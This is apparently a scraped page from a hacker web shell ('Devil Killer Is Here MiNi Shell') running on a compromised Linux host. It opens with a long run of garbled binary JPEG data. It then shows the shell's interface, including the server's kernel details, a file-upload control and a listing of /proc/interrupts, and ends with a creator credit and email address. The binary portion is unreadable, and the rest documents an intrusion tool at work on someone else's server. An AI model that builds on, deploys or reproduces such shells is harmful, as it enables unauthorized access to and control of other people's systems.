JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/interrupts

           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
  0:         43          0          0          0          0          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          0          0          0          0          0         13   IO-APIC   1-edge      i8042
  4:          0        767          0          0          0          0          0          0   IO-APIC   4-edge      ttyS0
  8:          1          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 12:          0          0          0          0          0          0         15          0   IO-APIC  12-edge      i8042
 22:          0          0          0      67438          0          0          0          0   IO-APIC  22-fasteoi   virtio3, virtio4
 24:          0          0          1          0          0          0          0          0   PCI-MSI 32768-edge      PCIe PME, aerdrv, pciehp
 25:          0          0          0          1          0          0          0          0   PCI-MSI 34816-edge      PCIe PME, aerdrv, pciehp
 26:          0          0          0          0          1          0          0          0   PCI-MSI 36864-edge      PCIe PME, aerdrv, pciehp
 27:          0          0          0          0          0          1          0          0   PCI-MSI 38912-edge      PCIe PME, aerdrv, pciehp
 28:          0          0          0          0          0          0          1          0   PCI-MSI 40960-edge      PCIe PME, aerdrv, pciehp
 29:          0          0          0          0          0          0          0          1   PCI-MSI 43008-edge      PCIe PME, aerdrv, pciehp
 30:          1          0          0          0          0          0          0          0   PCI-MSI 45056-edge      PCIe PME, aerdrv, pciehp
 31:          0          1          0          0          0          0          0          0   PCI-MSI 47104-edge      PCIe PME, aerdrv, pciehp
 32:          0          0          1          0          0          0          0          0   PCI-MSI 49152-edge      PCIe PME, aerdrv, pciehp
 33:          0          0          0          0          0          0          0          0   PCI-MSI 1572864-edge      virtio2-config
 34:          0          0          0          0          0         17          0          0   PCI-MSI 1572865-edge      virtio2-virtqueues
 35:          0          0          0          0          0          0          0          0   PCI-MSI 3145728-edge      virtio5-config
 36:          0          0          0          0          0          0          0          0   PCI-MSI 3145729-edge      virtio5-control
 37:          0          0          0          0          1          0          0          0   PCI-MSI 3145730-edge      virtio5-event
 38:          0          0          0          0          0          0          0  487170878   PCI-MSI 3145731-edge      virtio5-request
 39:          0          0          0          0          0         36          0          0   PCI-MSI 1048576-edge      xhci_hcd
 40:          0          0          0          0          0          0          0          0   PCI-MSI 1048577-edge      xhci_hcd
 41:          0          0          0          0          0          0          0          0   PCI-MSI 1048578-edge      xhci_hcd
 42:          0          0          0          0          0          0          0          0   PCI-MSI 1048579-edge      xhci_hcd
 43:          0          0          0          0          0          0          0          0   PCI-MSI 1048580-edge      xhci_hcd
 44:          0          0          0          0          0          0          0          0   PCI-MSI 1048581-edge      xhci_hcd
 45:          0          0          0          0          0          0          0          0   PCI-MSI 1048582-edge      xhci_hcd
 46:          0          0          0          0          0          0          0          0   PCI-MSI 1048583-edge      xhci_hcd
 47:          0          0          0          0          0          0          0          0   PCI-MSI 1048584-edge      xhci_hcd
 48:          0          0          0         14         15        102         85    2112260   PCI-MSI 512000-edge      ahci[0000:00:1f.2]
 49:          0          0          0          0          0          0          0          0   PCI-MSI 524288-edge      virtio1-config
 50:       1256          0          0          0          0          0  784631137          0   PCI-MSI 524289-edge      virtio1-input.0
 51:          0       1148          0          0  744875746          0          0          0   PCI-MSI 524290-edge      virtio1-output.0
 52:          0          0          0          0          0          0          0          0   PCI-MSI 3670016-edge      virtio6-config
 53:          0          0          0   19511913          0          0          0          0   PCI-MSI 3670017-edge      virtio6-input.0
 54:          0          0          0          0          8   28809157          0          0   PCI-MSI 3670018-edge      virtio6-output.0
 55:          0          0          0          0          0          0          0          0   PCI-MSI 16384-edge      virtio0-config
 56:   20271982          0          0          0          0          0        183          0   PCI-MSI 16385-edge      virtio0-control
 57:          0          0          0          0          0          0          0          0   PCI-MSI 16386-edge      virtio0-cursor
NMI:          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC:  712870782  712302619  728425298  716692591  703144290  713894292  736133557  713380323   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI:          0          0          0          0          0          0          1          0   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:   12846636   13423270   13144405   13459210   14041258   14009142   11984407   12212539   Rescheduling interrupts
CAL:  763056415  696368696  668363614  657146823  627060486  649007280  601738953  606095289   Function call interrupts
TLB:    9218953    9284349    8786921    8870287    8759454    8787763    8977840    9552561   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:      13310      13310      13310      13310      13310      13310      13310      13310   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Creat By MiNi SheLL
Email: jattceo@gmail.com